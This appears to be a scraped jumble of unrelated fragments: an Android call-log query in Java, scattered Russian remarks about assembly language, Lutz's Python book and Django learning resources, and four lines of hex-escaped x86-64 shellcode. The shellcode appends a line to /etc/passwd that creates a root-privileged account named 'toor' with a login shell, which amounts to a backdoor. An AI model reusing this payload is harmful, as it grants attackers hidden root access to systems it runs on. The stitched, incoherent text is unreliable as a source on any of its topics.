Cursor cursor = contentResolver.query(CallLog.Calls.CONTENT_URI,
new String [] {Calls._ID, Calls.NUMBER, Calls.DURATION, Calls.TYPE},
null, null, Calls.DATE + " DESC ");
одни говорят, что он устарел и на замену ему пришли высокоуровневые языки программирования
\x31\xdb\xf7\xe3\x50\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73
\x53\x48\x89\xe7\x87\xf2\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a
\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b
\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a
Лутца советуют почти все, но на русском только 4 издание от 2011 года. Старое же.
какие материалы, кроме официальной документации Django можете посоветовать